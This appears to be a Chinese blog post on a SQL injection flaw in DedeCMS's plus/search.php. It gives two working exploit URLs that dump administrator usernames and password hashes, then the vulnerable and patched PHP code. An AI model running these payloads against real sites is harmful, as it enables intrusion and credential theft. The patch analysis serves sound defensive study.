织梦dedecms plus/search.php注入漏洞修复及利用

织梦dedecms的最近出的一高危漏洞,search.php注入漏洞;估计现在很多黑阔都非常爱dedecms,因为经常有各种漏洞爆出.很多利用起来也都很简单.

 

下面是漏洞的详细利用细节:

 

0×1:

 

?keyword=as&typeArr[ uNion ]=a

 

报错如果为:Safe Alert: Request Error step 2 !

 

则利用以下exp:?keyword=as&typeArr[111%3D@`\'`)+UnIon+seleCt+1,2,3,4,5,6,7,8,9,10,userid,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,

pwd,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42+from+`%23@__admin`%23@`\'`+]=a

 

0×2:

 

?keyword=as&typeArr[ uNion ]=a

 

报错如果为:Safe Alert: Request Error step 1 !

 

则利用以下exp:?keyword=as&typeArr[111%3D@`\'`)+and+(SELECT+1+FROM+(select+count(*),concat(floor(rand(0)*2),(substring((select+CONCAT(0x7c,userid,0x7c,pwd)+from+`%23@__admin`+limit+0,1),1,62)))a

+from+information_schema.tables+group+by+a)b)%23@`\'`+]=a

 

漏洞修复:

 

 

 

20130115常规安全更新

include/arc.searchview.class.php, 搜索功能准确度优化

member/myfriend_group.php, 修复会员中心会员分组功能存在的安全隐患

plus/search.php, 修复搜索功能存在的安全隐患

 

登录DEDECMS后台会有提示,更新即可。不过貌似官方没有提供安全更新补丁的下载地址,找了半天没找到~

 

漏洞分析:

 

存在漏洞的文件/plus/search.php

 

//引入栏目缓存并看关键字是否有相关栏目内容

 

require_once($typenameCacheFile);

 

if(isset($typeArr) && is_array($typeArr))

 

{

 

foreach($typeArr as $id=>$typename)

 

{

 

$keywordn = str_replace($typename, ‘ ‘, $keyword);

 

if($keyword != $keywordn)

 

{

 

$keyword = $keywordn;

 

$typeid = $id; //对ID没做任何过滤 导致注入

 

break;

 

}

 

}

 

}

 

}

 

$keyword = addslashes(cn_substr($keyword,30));

 

修复之后

 

//引入栏目缓存并看关键字是否有相关栏目内容

 

require_once($typenameCacheFile);

 

if(isset($typeArr) && is_array($typeArr))

 

{

 

foreach($typeArr as $id=>$typename)

 

{

 

//$keywordn = str_replace($typename, ‘ ‘, $keyword);

 

$keywordn = $keyword;

 

if($keyword != $keywordn)

 

{

 

$keyword = HtmlReplace($keywordn);//防XSS

 

$typeid = intval($id); //强制转换为数字型

 

break;

 

}

 

}

 

}

 

}

 

$keyword = addslashes(cn_substr($keyword,30));

内容版权声明:除非注明,否则皆为本站原创文章。

转载注明出处:https://www.heiqu.com/20fcbcac54705d56becbd7d893a03e58.html